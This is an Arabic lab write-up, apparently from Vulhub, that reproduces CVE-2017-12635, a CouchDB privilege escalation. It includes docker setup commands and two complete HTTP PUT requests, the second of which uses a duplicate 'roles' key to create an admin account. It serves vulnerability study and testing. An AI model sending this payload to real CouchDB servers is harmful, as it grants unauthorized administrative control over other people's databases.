ثغرة تجاوز صلاحيات Couchdb الرأسية (CVE-2017-12635)

Apache Couchdb هي قاعدة بيانات مفتوحة المصدر تركز على سهولة الاستخدام وكونها "قاعدة بيانات تعانق الويب بالكامل". إنها قاعدة بيانات NoSQL تستخدم JSON كتنسيق تخزين، وJavaScript كلغة استعلام، وMapReduce وHTTP كواجهة API. يتم استخدامها على نطاق واسع، مثل BBC في منصة عرض المحتوى الديناميكي، وCredit Suisse في إطار السوق داخل قسم السلع، وMeebo في منصتها الاجتماعية (الويب والتطبيقات).

في 15 نوفمبر 2017، تم الكشف عن CVE-2017-12635 وCVE-2017-12636. يحدث CVE-2017-12635 بسبب الاختلاف في تحليل JSON بين Erlang وJavaScript، مما يؤدي إلى اختلاف في تنفيذ العبارات. تسمح هذه الثغرة لأي مستخدم بإنشاء مسؤول، وهي ثغرة تجاوز صلاحيات رأسية.

الإصدارات المتأثرة: أقل من 1.7.0 وأقل من 2.1.1

روابط مرجعية:

بيئة الاختبار

بناء وتشغيل البيئة:

docker-compose build
docker-compose up -d

بعد تشغيل البيئة، قم بزيارة http://your-ip:5984/_utils/ لرؤية صفحة ويب، مما يشير إلى أن Couchdb قد بدأ بنجاح. لكننا لا نعرف كلمة المرور ولا يمكننا تسجيل الدخول.

إعادة إنتاج الثغرة

أولاً، أرسل حزمة البيانات التالية:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

يمكن ملاحظة أنه تم إرجاع خطأ 403: {"error":"forbidden","reason":"Only _admin may set roles"}، فقط المسؤول يمكنه تعيين دور:

أرسل حزمة بيانات تحتوي على دورين لتجاوز القيود:

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

تم إنشاء المسؤول بنجاح، اسم المستخدم وكلمة المرور كلاهما vulhub:

قم بزيارة http://your-ip:5984/_utils/ مرة أخرى، وأدخل اسم المستخدم وكلمة المرور vulhub، ويمكن تسجيل الدخول بنجاح:

Apache-couchdb-CVE-2017-12635

الأكثر شعبية